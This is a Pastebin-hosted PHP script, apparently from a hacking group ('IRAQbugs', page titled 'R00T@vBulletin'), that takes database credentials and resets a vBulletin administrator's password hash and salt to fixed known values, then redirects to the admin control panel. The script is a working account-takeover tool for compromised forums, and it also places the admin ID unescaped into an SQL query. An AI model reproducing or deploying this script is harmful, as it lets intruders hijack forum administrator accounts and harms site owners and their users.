lehieuit

Vbulletin Admin Password Changer

May 8th, 2012
286
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.93 KB | None | 0 0
  1. <?php
  2. /*
  3. | Coded By IraQiaN-r0x
  4. */
  5. //Style & Designe HTML Code
  6. echo '
  7. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  8. <html xmlns="http://www.w3.org/1999/xhtml">
  9. <head>
  10. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  11. <title>R00T@vBulletin ~</title>
  12. <style type="text/css">
  13. *{margin: 0; padding: 0;}
  14. body{text-align: center;
  15. font: 11px Tahoma;
  16. color: #333333;
  17. background: #EEEEEE url(images/background.gif) repeat-x 0 0;
  18. }
  19. a{color:red;
  20. text-decoration: none;
  21. }
  22. a:hover {text-decoration: none;
  23. color: #ff0000;
  24. }
  25. .box {background-color: #FFFFFF;
  26. border: 1px solid #DDDDDD;
  27. padding: 6px;
  28. margin-bottom: 10px;
  29. width : 40%;
  30. }
  31. .box h3 {background-color: red;
  32. color: #ffffff;
  33. font-size: 11px;
  34. padding: 4px;
  35. margin-bottom: 5px;
  36. }
  37. #comments form p {margin-bottom: 5px;}
  38. #comments form input {margin-right: 5px;}
  39. #comments form input, textarea {border: 1px solid #cccccc;
  40. font-size: 11px;
  41. font-family: tahoma;
  42. padding: 4px;
  43. background-position: 4px 4px;
  44. background-repeat: no-repeat;
  45. }
  46. #comments form input {border: 1px solid #cccccc;
  47. }
  48. #comments form textarea {padding: 4px 4px !important;
  49. border: 1px solid #cccccc;
  50. }
  51. #comments form button {border: 1px solid #a0a0a0;
  52. font-size: 1em;
  53. font-family: Verdana;
  54. padding: 2px 6px;
  55. }
  56. </style>
  57. </head>
  58. <body>
  59. <br />
  60. <br />
  61. <br />
  62. <div align="center">
  63. <div class="box">
  64. <h3>Update vBulletin aDmin pAsswOrd</h3>
  65.  
  66. ';
  67. //Start Of Code
  68. switch($_GET[action])
  69. {default:$url = $_SERVER['HTTP_HOST'];
  70. PRINT '
  71. <div id="comments"><form id="form1" onsubmit="document.getElementById(\'form1\').style .display = \'none\';document.getElementById(\'loading\').styl e.display = \'none\';" name="form1" method="post" action="?action=Start"><table width="65%" border="0" align="center" cellpadding="0" cellspacing="0"><tr><td height="35">Database Host : </td><td height="35">
  72. <input name="DBHost" type="text" id="DBHost" value="localhost" /></td></tr><tr><td width="41%" height="35">Database Name : </td><td width="59%" height="35"><input name="DBName" type="text" id="DBName" /></td></tr><tr><td height="35">Database Username : </td><td height="35"><input name="DBUser" type="text" id="DBUser" value="root" /></td></tr><tr><td height="35">Database Password : </td><td height="35"><input name="DBPass" type="text" id="DBPass" /></td></tr><tr><td height="35">Forum URL : </td><td height="35"><br><input name="Url" type="text" id="Url" value="'.$url.'" /><br />
  73. <span style="font-size: 10px">Without <font color="#FF0000">/</font> in The End Of Domain</span></td></tr><tr><td height="35">Admin ID : </td><td height="35"><input name="adminId" type="text" id="adminId" value="1" size="2" maxlength="10" /></td></tr></table><br /><input type="submit" name="Submit" value="Go Now!" /></form></div><div id="loading" style="display:none;">Please Wait...</div>
  74. ';
  75. break;
  76. case Start:$Connect = @mysql_select_db($_POST[DBName],mysql_pconnect($_POST[DBHost],$_POST[DBUser],$_POST[DBPass]));
  77. $Update =@mysql_query("UPDATE `user` SET `password` = 'bf99d80cd64818d4f8e63ed2af5fa79a',`salt` = 'I_d' WHERE `userid` = '".$_POST[adminId]."'"); //MD5 & Salt Password
  78. $url = $_POST[Url].'/admincp';
  79. if($Connect)
  80. {echo '<b style="color:green;">Connected To Database !</b><br>';
  81. }else{
  82. echo '<b style="color:red;">Error : Could Not Connect To Database !!</b><br>';
  83. }if($Update){
  84. echo '<b style="color:green;">Password Has Been Updated !</b><br>';
  85. }else{
  86. echo '<b style="color:red;">Error : Could Not Update The Password</b><br>';
  87. }if($Update && $Connect){
  88. echo '<meta http-equiv="refresh"content="3;URL='.$url.'"/><b style="color:green;">Please Wait 3 Seconds ..</b><br>';
  89. }
  90. break;
  91. }
  92. //End Of Code
  93.  
  94. //Footer HTML
  95. echo '
  96. </div>
  97. </div>Powered By <a href="http://vb.iraqbugs.com/">IRAQbugs</a> 2011<br><br>
  98. Coded by <a href="http://vb.iraqbugs.com/member.php?u=1"target="_blank">IraQiaN-r0x</a>
  99. </body>
  100. </html>
  101. ';
  102. //Coded By IraQiaN-r0x
  103. ?>
Advertisement
Add Comment
Please, Sign In to add comment